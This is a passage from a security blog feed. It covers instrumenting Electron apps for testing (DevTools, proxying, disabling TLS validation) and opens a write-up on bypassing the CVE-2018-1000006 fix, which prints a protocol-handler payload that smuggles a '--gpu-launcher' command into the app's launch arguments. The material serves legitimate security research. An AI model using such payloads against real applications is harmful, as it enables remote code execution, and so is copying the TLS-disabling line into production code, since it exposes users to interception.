&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;_0&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;SayHello&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;GetCount&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Message : &lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;You are welcome.&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;NewObject&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;contentsOfMyTextFile&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;_1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;theLibrary&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;_1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;alert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;contentsOfMyTextFile&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;theLibrary&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;_1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;obj&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;NewObject&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;obj&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;SayHello&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;enabling-the-developer-tools-in-the-renderer-process&quot;&gt;Enabling the developer tools in the renderer process&lt;/h3&gt;

&lt;p&gt;During testing, it is particularly important to review all web resources as we would normally do in a standard web application assessment. For this reason, it is highly recommended to enable the Developer Tools in all renderers and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;webview&amp;gt;&lt;/code&gt; tags.&lt;/p&gt;

&lt;p&gt;Electron’s Main process can use the &lt;a href=&quot;https://electronjs.org/docs/api/browser-window&quot;&gt;BrowserWindow API&lt;/a&gt; to call the &lt;em&gt;BrowserWindow&lt;/em&gt; method and instantiate a new renderer.&lt;/p&gt;

&lt;p&gt;In the example below, we are creating a new &lt;em&gt;BrowserWindow&lt;/em&gt; instance with specific attributes. Additionally, we can insert a new statement to launch the Developer tools:&lt;/p&gt;

&lt;p&gt;&lt;em&gt;/app/mainScreen.js&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;winOptions&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;title&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;Example App&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;backgroundColor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;#ffffff&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;width&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;DEFAULT_WIDTH&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;height&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;DEFAULT_HEIGHT&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;minWidth&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;MIN_WIDTH&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;minHeight&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;MIN_HEIGHT&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;transparent&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;frame&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;resizable&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;show&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;isVisible&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;webPreferences&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;na&quot;&gt;nodeIntegration&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;na&quot;&gt;preload&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;_path2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;default&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;join&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;__dirname&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;preload.js&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;

&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;--&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;cut&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;--&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;

&lt;span class=&quot;nx&quot;&gt;mainWindow&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;_electron&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;BrowserWindow&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;winOptions&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;winId&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;win&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;//|--&amp;gt; HERE we can hook and add the Developers Tools &amp;lt;--|&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;win&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;webContents&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;openDevTools&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;({&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;mode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;bottom&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;})&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;win&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;setMenuBarVisibility&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If everything worked fine, we should have the Developers Tools enabled for the main UI screen.&lt;/p&gt;

&lt;p&gt;From the main Developer Tool console, we can open additional developer tools windows for other renderers (e.g. webview tags).&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getElementsByTagName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;webview&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;openDevTools&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;While reading the code above, have you noticed the webPreference options?&lt;/p&gt;

&lt;p&gt;WebPreferences options are basically settings for the renderer process and include things like window size, appearance, colors, security features, etc. Some of these settings are pretty useful for debugging purposes too.&lt;/p&gt;

&lt;p&gt;For example, we can make all windows visible by using the &lt;em&gt;show&lt;/em&gt; property of WebPreferences:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;BrowserWindow({show: true})&lt;/code&gt;&lt;/p&gt;

&lt;h3 id=&quot;adding-debugging-statements&quot;&gt;Adding debugging statements&lt;/h3&gt;

&lt;p&gt;During instrumentation, it is useful to include debugging code such as&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;--------------- Debug --------------------&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;process&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;process&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;pid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;process&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;argv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;--------------- Debug --------------------&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;debugging-the-main-process&quot;&gt;Debugging the main process&lt;/h3&gt;

&lt;p&gt;Since it is not possible to open the developer tools for the Main Process, debugging this component is a bit trickier. Luckily, Chromium’s Developer Tools can be used to debug Electron’s main process with just a minor adjustment.&lt;/p&gt;

&lt;p&gt;The DevTools in an Electron browser window can only debug JavaScript executed in that window (i.e. the web page). To debug JavaScript executed in the main process you will need to leverage the native debugger and launch Electron with the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--inspect&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--inspect-brk&lt;/code&gt; switch.&lt;/p&gt;

&lt;p&gt;Use one of the following command line switches to enable debugging of the main process:&lt;/p&gt;

&lt;p&gt;&lt;em&gt;–inspect=[port]&lt;/em&gt;
Electron will listen for V8 inspector protocol messages on the specified port, an external debugger will need to connect on this port. The default port is 5858.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;–inspect-brk=[port]&lt;/em&gt;
Like –inspect but pauses execution on the first line of JavaScript.&lt;/p&gt;

&lt;p&gt;Usage:
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;electron --inspect=5858 your-app&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;You can now connect Chrome by visiting &lt;em&gt;chrome://inspect&lt;/em&gt; and analyze the launched Electron app present there.&lt;/p&gt;

&lt;h3 id=&quot;intercepting-https-traffic&quot;&gt;Intercepting HTTP(s) traffic&lt;/h3&gt;

&lt;p&gt;Chromium supports system proxy settings on all platforms, so setup a proxy and then &lt;a href=&quot;https://portswigger.net/burp/help/proxy_options_installingcacert&quot;&gt;add Burp CA&lt;/a&gt; as usual.&lt;/p&gt;

&lt;p&gt;We can even use the following command line argument if you run the Electron application directly. Please note that this does not work when using the bundled app.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;--proxy-server=address:port
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Or, programmatically with these lines in the main app:&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;app&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;electron&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; 
&lt;span class=&quot;nx&quot;&gt;app&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;commandLine&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;appendSwitch&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;proxy-server&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;127.0.0.1:8080&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;For Node, use transparent proxying by either changing &lt;em&gt;/etc/hosts&lt;/em&gt; or overriding configs:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;npm config set proxy http://localhost:8080
npm config set https-proxy http://localhost:8081
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In case you need to revert the proxy settings, use:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;npm config rm proxy
npm config rm https-proxy
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;However, you need to disable TLS validation with the following code within the application under testing:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;process.env.NODE_TLS_REJECT_UNAUTHORIZED = “0&quot;;&lt;/code&gt;&lt;/p&gt;

&lt;h3 id=&quot;outro&quot;&gt;Outro&lt;/h3&gt;

&lt;p&gt;Proper instrumentation is a fundamental step in performing a comprehensive security test. Combining source code review with dynamic testing and client instrumentation, it is possible to analyze every aspect of the target application. These simple techniques allow us to reach edge cases, exercise all code paths and eventually find vulnerabilities.&lt;/p&gt;

&lt;p&gt;@voidsec @lucacarettoni&lt;/p&gt;

&lt;h3 id=&quot;read-more&quot;&gt;Read more&lt;/h3&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://electronjs.org/docs/api/browser-window&quot;&gt;https://electronjs.org/docs/api/browser-window&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://electronjs.org/docs/tutorial/security&quot;&gt;https://electronjs.org/docs/tutorial/security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://electronjs.org/docs/tutorial/application-architecture&quot;&gt;https://electronjs.org/docs/tutorial/application-architecture&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://electronjs.org/docs/tutorial/application-debugging&quot;&gt;https://electronjs.org/docs/tutorial/application-debugging&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://electronjs.org/docs/tutorial/security#checklist-security-recommendations&quot;&gt;https://electronjs.org/docs/tutorial/security#checklist-security-recommendations&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content>
 </entry>
 
 <entry>
   <title>Electron Windows Protocol Handler MITM/RCE (bypass for CVE-2018-1000006 fix)</title>
   <link href="https://blog.doyensec.com/2018/05/24/electron-win-protocol-handler-bug-bypass.html"/>
   <updated>2018-05-24T00:00:00+02:00</updated>
   <id>https://blog.doyensec.com/2018/05/24/electron-win-protocol-handler-bug-bypass</id>
   <content type="html">&lt;p&gt;As part of an engagement for one of our clients, we analyzed the patch for the recent &lt;a href=&quot;https://electronjs.org/blog/protocol-handler-fix&quot;&gt;Electron Windows Protocol handler RCE bug&lt;/a&gt; (CVE-2018-1000006) and identified a bypass.&lt;/p&gt;

&lt;p&gt;Under certain circumstances this bypass leads to session hijacking and remote code execution. The vulnerability is triggered by simply visiting a web page through a browser. &lt;strong&gt;Electron apps&lt;/strong&gt; designed to run on &lt;strong&gt;Windows&lt;/strong&gt; that register themselves as the default handler for a protocol and do not prepend &lt;em&gt;dash-dash&lt;/em&gt; in the registry entry are affected.&lt;/p&gt;

&lt;p&gt;We reported the issue to the Electron core team (via &lt;em&gt;security@electronjs.org&lt;/em&gt;) on May 14, 2018 and received immediate notification that they were already working on a patch. The issue was also reported by Google’s &lt;a href=&quot;https://twitter.com/newsoft?lang=en&quot;&gt;Nicolas Ruff&lt;/a&gt; a few days earlier.&lt;/p&gt;

&lt;h3 id=&quot;cve-2018-1000006&quot;&gt;CVE-2018-1000006&lt;/h3&gt;

&lt;p&gt;On January 22, 2018 Electron released a patch for &lt;em&gt;v1.7.11&lt;/em&gt;, &lt;em&gt;v1.6.16&lt;/em&gt; and &lt;em&gt;v1.8.2-beta4&lt;/em&gt; for a critical vulnerability known as CVE-2018-1000006 (&lt;em&gt;surprisingly no fancy name here&lt;/em&gt;) affecting Electron-based applications running on Windows that register custom protocol handlers.&lt;/p&gt;

&lt;p&gt;The original issue was extensively discussed in many &lt;a href=&quot;https://medium.com/0xcc/electrons-bug-shellexecute-to-blame-cacb433d0d62&quot;&gt;blog posts&lt;/a&gt;, and can be summarized as the ability to use custom protocol handlers (e.g. &lt;em&gt;myapp://&lt;/em&gt;) from a remote web page to piggyback command line arguments and insert a new switch that Electron/Chromium/Node would recognize and execute while launching the application.&lt;/p&gt;

&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;script&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;win&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;location&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;myapp://foobar&quot; --gpu-launcher=&quot;cmd c/ start calc&quot; --foobar=&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Interestingly, on January 31, 2018, Electron &lt;em&gt;v1.7.12&lt;/em&gt;, &lt;em&gt;v1.6.17&lt;/em&gt; and &lt;em&gt;v1.8.2-beta5&lt;/em&gt; were released. It turned out that the initial patch did not take into account uppercase characters and led to a bypass in the previous patch with:&lt;/p&gt;

&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;script&amp;gt;&lt;/span&gt;
